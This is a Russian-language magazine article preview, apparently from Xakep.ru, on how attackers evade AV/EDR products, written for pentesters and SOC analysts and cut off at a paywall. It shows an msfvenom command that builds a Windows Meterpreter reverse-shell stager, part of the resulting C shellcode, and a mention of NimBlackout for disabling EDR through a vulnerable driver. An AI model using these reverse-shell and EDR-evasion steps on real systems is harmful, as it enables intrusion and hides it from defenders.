Содержание статьи
Материал призван помочь практикующим специалистам по пентесту и SoC-аналитикам разобраться с тем, как злоумышленники могут проникать в системы, минуя EDR (endpoint detection & response).
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
На чем мы тестировали
Для исследований мы использовали Kaspersky Endpoint Detection and Response и его вариацию для Linux (KESL), опенсорсный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а также VirusTotal.
Конечная цель — получить обратное соединение на наш C2-сервер, роль которого будет исполнять Metasploit Framework, один из самых популярных пентестерских инструментов.
За последние годы АV и EDR научились уже на ранних стадиях обнаруживать файлы, которые были сгенерированы Metasploit, потому что существует множество сигнатур для выявления установки bind- и reverse-шеллов. EDR определяют, какие файлы .dll и .so используются при старте оболочки Meterpreter, и это лишь малая часть признаков, помогающих выявить вредоносный процесс. Для чистоты эксперимента мы возьмем шелл‑код, сгенерированный через msfvenom, и будем пытаться его модернизировать.
Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефолтный exe-стейджер, сгенерированный следующей командой:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe
То есть стандартный стейджер без проблем обнаруживается современными защитными решениями.
Давай попробуем сделать вариант с обходом. Будем генерировать шелл‑код на С, так как это идеальный выбор, если нам нужна скорость и кросс‑платформенность.
Вот как выглядит наш первоначальный шелл‑код:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payloadNo encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
"\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
...
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
Ничего необычного. Шелл‑код просто дает реверс‑шелл, а обмен данных происходит по TCP. Мы даже не применяли шифрование и кодирование.
Что нового в мире AV/EDR
В последние годы большинство вендоров AV/EDR внедрили поведенческий анализ с использованием машинного обучения, что позволяет более точно анализировать поведение программы и классифицировать ее как вредоносную. Для этого проводится постоянный мониторинг процесса: EDR сравнивает действия с профилями поведения. Это повышает шансы обнаружения, но нагружает систему, может приводить к ложным срабатываниям и конфликтам с другим ПО.
И конечно, по‑прежнему актуальны старые методы:
- эвристический анализ;
- сигнатурный анализ
- сендбоксинг;
- IAT checking (проверка используемых функций и библиотек. Например, если в IAT есть функции шифрования, то EDR может решить, что перед ним шифровальщик);
- API hooking (перехват вызовов функций и перенаправление потока кода).
В общем, чем дальше, тем больше всяких проверок.
info
На сетевом уровне существует несколько методов, которые можно использовать, чтобы попытаться избежать обнаружения: DNS-туннелирование, самоподписанные сертификаты HTTPS, протокол ICMP. Однако современные системы обнаружения угроз не поддаются на все эти уловки.
Фреймворки для обхода AV/EDR
NimBlackout
NimBlackout позволяет удалить AV/EDR при помощи уязвимого драйвера. Драйвер GMER используется для взаимодействия с ядром операционной системы и дает возможность обнаруживать и анализировать скрытые вредоносные элементы.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»